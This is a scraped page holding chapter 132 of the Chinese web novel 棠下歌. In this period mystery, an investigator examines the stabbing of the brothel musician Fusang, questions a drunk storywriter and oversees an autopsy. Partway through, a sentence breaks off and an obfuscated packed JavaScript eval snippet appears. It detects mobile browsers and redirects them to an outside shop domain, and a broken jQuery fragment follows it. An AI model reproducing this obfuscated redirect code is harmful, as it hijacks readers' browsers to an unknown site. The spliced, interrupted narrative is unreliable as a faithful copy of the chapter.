文趣网 > 其他小说 > 棠下歌 > 132. 沉梦令
    [青灯穿堂,不安眠,廿三日夜至此。

    旧传花楼供狐仙,号“阿紫姑”,朱唇粉面,凡合欢帐事,必先以香酒敬之,富贵自来。

    烛灯半灭,忽闻窸窣之音。

    吾观案上神像,双眸若凝血。

    灯影摇之,似笑非笑,欲拜未拜,突觉有阴风袭领,毛发尽竖。

    仙狐低语,非男非女:“郎君何不看奴眼中血?”

    当是时,汗透重衫,终不敢仰其瞳。

    但闻青纱帐后,钱串叮当作响如万鬼啮骨,只闻其歌,不见其形。

    沉心,以梦令之。

    莫要贪念,莫视其眼……]

    ——《沉梦令》

    ***

    “贺兰先生?贺兰先生?”

    柳司珩轻轻晃了晃贺兰颜的肩膀,但对方只是将眼睛睁开一条缝,回应他的是一声拖长的酒嗝,混着酸腐的酒气扑面而来。

    柳司珩连忙后退,眼神示意两个捕快把人抬走。

    然而捕快都还没动手,门就“砰”地一声被撞开了,赵妈妈提着铜盆跨过门槛,袖口半挽

    她一句话没说,抬手,“哗——”

    冰凉的井水如大雨倾盆而下,顺着贺兰颜的发丝直直灌入衣领,贺兰颜瞬间惊醒:“嗯?下雨了?屋里也能下这么大的雨?”

    他还没从现在的情况中反应过来,赵妈妈已经甩了甩手腕,啪啪上去又是两个大耳瓜子,柳司珩拉都拉不住。

    “你个狗东西你,以后别让老娘再看见你,再来见喜三元,老娘就扒了你的皮!”

    柳司珩一把拖住赵妈妈:“赵妈妈,冷静些。”

    赵妈妈撇开头,一边擦眼泪,一边甩着手上那巾帕骂道:“这个混蛋不知道又瞎写了什么书,非说我这楼里有狐妖,东家,这事你可不能不管啊。”

    说着又转向贺兰颜:“我曾经念你是个教书先生几次免你酒钱,你一点不感激就算了,居然还敢坏老娘名声,看老娘今天不打死你!”

    赵妈妈再次挽起袖子,贺兰颜见状这才从地上爬起来,摸了摸下巴上的山羊胡。

    他可不想落在这婆娘手里,于是转头就要跑。

    许是酒还没完全醒,跑了个反方向,一脑袋撞在了床沿。

    “嘶啊~”他抱着整个头,只觉得像有老和尚在脑袋里猛地撞钟一般,现在脑子里都还有回响,不过视线倒是清楚多了。

    “我当是何事,不就是几个酒钱吗,给你就是,啧,我荷包呢?”贺兰颜迷迷糊糊地扽了扽捕快的袖子,“快快快,帮我找找。”

    见捕快杵在原地不动,贺兰颜只好自己弯腰寻找,一垂眸,才发现床上还躺了个人。

    血已经糊了那人满身,他的正面埋在枕头里,刀还在后背上插着,直穿胸口。

    那满床的血啊,比狐狸的眼睛还红。

    这贺兰颜毕竟是写志怪小说的,心理素质好。

    面对这么血淋淋的场面,他也只是瞪大眼睛有些惊讶,却不曾表露过半分惧怕之色:“这都什么事儿,怎、怎么还出人命了?”

    “哎哟不行,又开始疼了,我得去看大夫。”贺兰颜揉着两边太阳穴就往外走,站都站不稳,还是被柳司珩及时拽住。

    柳司珩只是微笑,没说话。

    但贺兰颜是聪明人立刻就懂了,赶忙转身解释:“柳小友,这可不关我事啊。”

    赵妈妈:“呸!你个黑心肝的东西,我看就是你杀了扶桑!”

    “你不要乱讲哦,老夫乃名士,见不得血。”

    赵妈妈鄙夷地睇了他一眼,简直被气笑了:“天呐你是怎么好意思说出口的。”

    “名士会天天逛花楼吗?名士会喝酒不给钱吗?名士会瞎写东西毁人名声吗?”

    “那是文学创造你懂什么,又没说你们这真有狐妖。”

    “结果有区别吗?我现在生意被你弄得一团糟,要么,让书局把你那破书给撤了,要么,把这几年在我这儿喝的酒钱全部还回来!”

    “没钱,书更不可能撤。”

    赵妈妈转势对柳司珩哭道:“二郎,不带他这样欺负人的,我是为了谁?不也是为了花楼吗,这事儿东家可不能不管呐。”

    “管,当然得管,但事情也有个轻重缓急,您二位能不能先等我把手边的案子处理完再管呢?”柳司珩这时候还是耐着性子挂着笑,连捕快都觉得他好脾气。

    但赵妈妈一对上柳司珩的眼睛,便立刻松开了环在他胳膊上的手,也不再闹了,默默低下头。

    她跟在柳司珩身边这么多年,深知二东家不喜欢发脾气,但他的容忍度有限,这眼神已经有了警告意味,赵妈妈轻声说:“是,大人案子要紧。”

    柳司珩背过身,垂眸细致地拍干净袖口处的褶皱,突然收了表情,对捕快冷声说:“先带去隔壁。”

    ***

    柳司珩用扇子挑开尸体脸上的发丝。

    还真是扶桑。

    这么巧,北元才刚立新主,他就这么死了?

    观这间屋子,没有打斗痕迹,上午一进来,就见贺兰颜醉倒在地塌上,桌上全是乱七八糟的宣纸和飞墨,狼毫笔头已经呈半干状态,可推测贺兰颜彻底喝醉应该在寅时左右。

    他醉倒后,笔从手中落下。

    听花楼的龟公说,贺兰颜没有龙阳之好,只是爱听扶桑弹琴,昨夜巡楼,卯时还听见这屋中有琴声传出来,这里有些说不通。

    扶桑虽不是花魁,但他琴技颇高,在见喜三元很受欢迎。

    不管是谁来,他都只给人家弹半个时辰。

    如果按照这个时间算,除去休息和聊天的时间,大概给贺兰颜弹了三首曲子。

    柳司珩的手指在扇骨上无意识地敲打,通过死者的姿势,脑海里闪过几个画面。

    琴和琴桌都没被动过,茶杯里有茶,却是盛满的状态。

    扶桑做了那么久的清倌,自是明白茶满欺客的道理。

    许是身后有人恰逢此刻说了句什么,扶桑手上微微一抖,茶水便从杯中漫了出来,他忙将茶壶轻放回了原处。

    从茶台到床脚有明显的拖拽痕迹,血迹一路由浅到深,桌角和地缝里也有扶桑衣袍上的棕红色丝线。

    当时的情况应该是……

    扶桑转身去给凶手倒茶,凶手趁机从背后袭击了他,捂住扶桑的嘴不让他出声。

    扶桑嘴上的手印也正能说明这一点。

    能把后背露给对方没有任何防备,由此推断扶桑和那人应该认识并且对他很信任。

    挣扎之时,凶手为了不让血流到楼下所以便强硬地将其扔上床。

    被褥就是最好的掩饰物件。

    除了地上稍微凌乱的血迹,看得出凶手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520673|203296||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    完成这一切一气呵成。

    若不是专业杀手,那就是其早有准备。

    而且行凶时间必须得在昨夜,否则也就不会冒着贺兰颜还在的风险进屋,走的还是正门。

    这就得对昨夜客人一一排查。

    也不知祁让他们时候才能到京都,现在审讯勘验都落他一个人身上,查案效率太低了。

    柳司珩闭了闭眼,对两名捕快道:“你们两个,回趟京兆府,告诉李忍我不管他这几天要干嘛,就是挤也得给我挤出一半人手过来。”

    两个捕快相视一眼,高个子的有些为难,“大人,可是这几天元……”

    “咳!”

    矮个子迅速拍了下他的手背,笑道:“没问题,柳大人,那这尸体?”

    “验完尸再动。”

    “是。”

    ***

    半炷香后。

    宋序才背着箧笥急匆匆推门进来。

    “抱歉抱歉,我来迟了。”

    “等久了吧,我也没想到会耽搁这么久。”宋序说着打开箧笥。

    柳司珩:“还好,怎么现在才到?”

    “今天刚好赶上了元相的孙子过百天宴,我不得去道声喜啊。”

    宋序很快洗干净手,把工具一一从箧笥里拿出来,在香炉中点燃苍术香塔以去晦气。

    柳司珩微眯双眸,倒是知道元臣礼家多了个孙子,当初元绾儿与祁让的婚约取消之后就嫁给了现在的从五品尚书郎中,还生了个儿子。

    元臣礼从来不会主动结交太子党,五年前若不是天子口诏,他哪会同意把女儿嫁给司空静文。

    现在好了,连装都不装。

    太子虽然不在京都,可太子殿下的亲表哥还在,柳司珩却对此事完全不知情。

    不仅如此,元臣礼还请了宋靖?

    他不是一向看不起庶子党吗?

    “元臣礼什么时候给你家送的帖子?”

    “父亲还没出来的时候就送到府上了,姨娘收的,不过幸好我去了,这一趟可知道了不少事,算了等会儿再跟你细说吧。”宋序绑好袖子,“这尸体什么情况?”

    柳司珩眨了下眼,便也不再继续追问,转而坐下翻开手记,边说边写:“死者花名扶桑,真名不清楚,是这里的清倌,今天一早龟公进门时就这样,你看看大致死亡时间。”

    宋序拔出刀,将死者翻了个面,用剪刀裁开死者的衣服,手上顿了一下,皱了皱眉:“男的?”

    “见喜三元什么时候有这业务了?”

    柳司珩:“快验吧。”

    “尸斑还没完全固定,应该死亡不到三个时辰。”

    宋序用掌心摸上尸体的头面、手足,弹了几滴水在手臂腿部等大关节处,见膝盖部位的水珠停滞:“记录,已出现尸冷,尸僵未达高峰、没有腐败气肿。”

    再撑开尸体的眼皮,“角磨未出现浑浊,死亡时间基本能确定在卯时上下。”

    这倒是跟柳司珩对现场的推测差不太多。

    “记录,尸体俯面,左肋下三、四肋间,有刃伤一处,斜长一寸二分,深三分,阔一分,皮翻血凝,刃口上狭下阔,为尖刀所刺,凶器仍存留,为致命伤,死者骨架虽小但肩背厚实,肩胛骨外突,桡骨粗壮,屈肌群发达,掌心、指腹、虎口有厚茧。”

    “嗯……他生前应该练过武。”